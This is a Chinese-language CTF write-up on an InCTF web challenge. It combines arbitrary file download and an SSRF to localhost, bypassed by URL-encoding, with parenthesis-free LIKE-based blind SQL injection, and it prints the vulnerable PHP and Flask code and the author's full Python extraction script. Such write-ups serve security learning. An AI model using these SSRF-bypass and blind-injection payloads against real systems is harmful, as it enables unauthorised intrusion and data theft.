国际赛印度inctf一道sql注入题有感

​ 七夕佳节,很多朋友都和自己的女朋友出去happy;我和队伍一起打了一场愉快的ctf;其中记述一道自己做的题,奈何最后郭院士的脚本出的太快没抢到;

这题前端随便登陆,登陆上去是上传和下载文件的功能,在/var/www/html下有个index.php和conf.php文件;可以直接任意文件下载,这不过多赘述;拿到文件之后审计代码,代码不是很难,贴出来;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
include('./conf.php');
$inp=$_GET['part1'];
echo $inp;
$real_inp=$_GET['part2'];
echo $real_inp;
if(preg_match('/[a-zA-Z]|\\\|\'|\"/i', $inp)) exit("Correct <!-- Not really -->");
if(preg_match('/\(|\)|\*|\\\|\/|\'|\;|\"|\-|\#/i', $real_inp)) exit("Are you me");
$inp=urldecode($inp);
//$query1=select name,path from adminfo;
$query2="SELECT * FROM accounts where id=1 and password='".$inp."'";
$query3="SELECT ".$real_inp.",name FROM accounts where name='tester'";

$check=mysqli_query($con,$query2);
if(!$_GET['part1'] && !$_GET['part2'])
{
highlight_file(__file__);
die();
}
if($check || !(strlen($_GET['part2'])<124))
{
echo $query2."<br>";
echo "Not this way<br>";
}
else
{
$result=mysqli_query($con,$query3);
$row=mysqli_fetch_assoc($result);
if($row['name']==="tester")
echo "Success";
else
echo "Not";
//$err=mysqli_error($con);
//echo $err;
}
?>

简单来看有两个穿参方式,一个为part1一个为part2;但是怎么能让传入的参数到达该文件;继续测试,扫目录发现source路由;访问后发现是一个flask;其中当访问根目录的时候会渲染相应的页面;贴出两个重要的路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def url_validate(url):
blacklist = [&#34;::1&#34;, &#34;::&#34;]
for i in blacklist:
if(i in url):
return &#34;NO hacking this time ({- _ -})&#34;
y = urlparse(url)
hostname = y.hostname
try:
ip = socket.gethostbyname(hostname)
except:
ip = &#34;&#34;
print(url, hostname,ip)
ips = ip.split(&#39;.&#39;)
if ips[0] in [&#39;127&#39;, &#39;0&#39;]:
return &#34;NO hacking this time ({- _ -})&#34;
else:
try:
url = unquote(url)
r = requests.get(url,allow_redirects = False)
return r.text
except:
print(url, hostname)
return &#34;cannot get you url :)&#34;
@app.route(&#34;/dev_test&#34;,methods =[&#34;GET&#34;, &#34;POST&#34;])
def dev_test():
if auth():
return redirect(&#39;/logout&#39;)
if request.method==&#34;POST&#34; and request.form.get(&#34;url&#34;)!=&#34;&#34;:
url=request.form.get(&#34;url&#34;)
return url_validate(url)
return render_template(&#34;dev.html&#34;)

@app.route(&#39;/&#39;)
def home():
if auth():
return redirect(&#39;/logout&#39;)
files=os.listdir(os.path.join(app.config[&#39;UPLOAD_FOLDER&#39;],str(session[&#39;uid&#39;])))
if not files:
return render_template(&#39;index.html&#39;,username=session[&#34;user&#34;],error=&#34;You got nothing over here.&#34;)

y=[]
for x in files:
b=&#34;&#34;.join([ random.choice(&#34;0123456789abcdef&#34;) for i in range(6)] )
y.append([x,b])
return render_template(&#39;index.html&#39;,files=y,username=session[&#34;user&#34;])

在dev_test路由明显是一个ssrf点;但是url_validate有着很明显的限制;简单测试发现urlencode之后可以绕过,传送url过去发现是ssrf到index.php下,那么显而易见是在此进行sql注入;part1有点限制,当check不过的时候,会直接进行else处的代码块,然后执行第二个sql语句进行查询;传入单引号使其闭合出错导致check错误;通过三次urlencode可绕过限制传入单引号;在本地简答测试下发现第二个sql语句可以进行sql注入;

f2yBVA.png

在本地简单测试一下就可发现可控where处造成忙注;因为part2过滤了括号,所以不能直接使用一般忙注进行注入;又看到有相应的字段;所以直接在where后直接跟接字段进行注入即可;这里采用like进行匹配忙注;当为正确的时候执行前半部分的sql代码;造成回显结果由前面可控,但是题目回显出Success的要求是要有后面的代码查询结果才可,所以当where后为false的时候,也就是我们盲注错误的时候会返回Success;所以主要的判断点是Not;贴上我的脚本;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import requests
import string
import binascii

banner=""".__ __ .__
| |__ _____ ____ | | _|__| ____ ____
| | \\__ \ _/ ___\| |/ / |/ \ / ___\
| Y \/ __ \\ \___| <| | | \/ /_/ >
|___| (____ /\___ >__|_ \__|___| /\___ /
\/ \/ \/ \/ \//_____/"""

url = "http://web.challenge.bi0s.in:6007/dev_test"
login_url = "http://web.challenge.bi0s.in:6007/login"
proxy = {"http":"127.0.0.1:1087"}
session = requests.Session()
def login():
data = {"username":"s1mple","password":"s1mple","submit":"Login"}
res = session.post(login_url,data=data,proxies=proxy)
print(res)
login()

def test():
postData = "%68%74%74%70%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31/?part1=%252527&part2=path,name from adminfo where path regexp binary 0x5e6e union select 1"
data = {"url":postData}
res = session.post(url=url,data=data,proxies=proxy)
print(res.content)
#test()
def sql():
flag=b''
test_String = string.printable
print(banner+'by-s1mple')
#print(test_String)
for k in range(1,10):
for i in test_String:
i = bytes(i,encoding='utf-8')
l = str(binascii.b2a_hex(flag),encoding='utf-8')
o = str(binascii.b2a_hex(i),encoding='utf-8')
inject = str('0x'+l+o+'25')
postData = "%68%74%74%70%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31/?part1=%252527&part2=path,name from adminfo where path like binary {} union select 1".format(inject)
data = {"url": postData}
res = session.post(url=url, data=data, proxies=proxy)
content = res.content
#print("testing:"+i+"--------maybe no")
if b'Not' in content:
print("it's the result:",i)
flag=flag+i
print("the_path_is:",flag)
break
#print(postData)
else:
#print(postData)
continue
#sql()

def Inject():
flag=b''
test_String = string.printable
print(banner+'by-s1mple')
#print(test_String)
for k in range(1,10):
for i in test_String:
i = bytes(i,encoding='utf-8')
l = str(binascii.b2a_hex(flag),encoding='utf-8')
o = str(binascii.b2a_hex(i),encoding='utf-8')
inject = str('0x'+l+o+'25')
print("inject=",inject)
postData = "%68%74%74%70%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31/?part1=%252527&part2=path,name from adminfo where name like binary 0x416425 and path like binary {} union select 1".format(inject)
data = {"url": postData}
res = session.post(url=url, data=data, proxies=proxy)
content = res.content
#print("testing:"+i+"--------maybe no")
if b'Not' in content:
print("it's the result:",i)
flag=flag+i
print("the_path_is:",flag)
#print(postData)
break

else:
#print(postData)
continue
Inject()

上述这个脚本因为题目的环境有限制;part2的字符长度不可超过一定的值;所以这个脚本在跑到一半的时候会自动断掉,因为十六进制加上之后会导致part2的长度超过题目规定的值;就会报错而中断;顺带提一下,这个题每次跑脚本的时候结果都不一样,是和session有关的,所以有点坑;最后拿到跑出path之后是一个上传的文件;直接下载即可;

所以为了避免这种情况;可以将like的那个盲注句改成%xxx%可以用来类似枚举;不必再次触发login方法即可;当拿到一定的字符串的时候,可以通过略微修改脚本达到后面几位的枚举效果;最后去下载flag即可;最后like原理如下图:拿到中间的某些个字符串即可判断成功,可以无限向后延伸;

f2cj41.png

这个题最后也看了一下,有二三十个队伍做出来,也算是做出比较多的题了;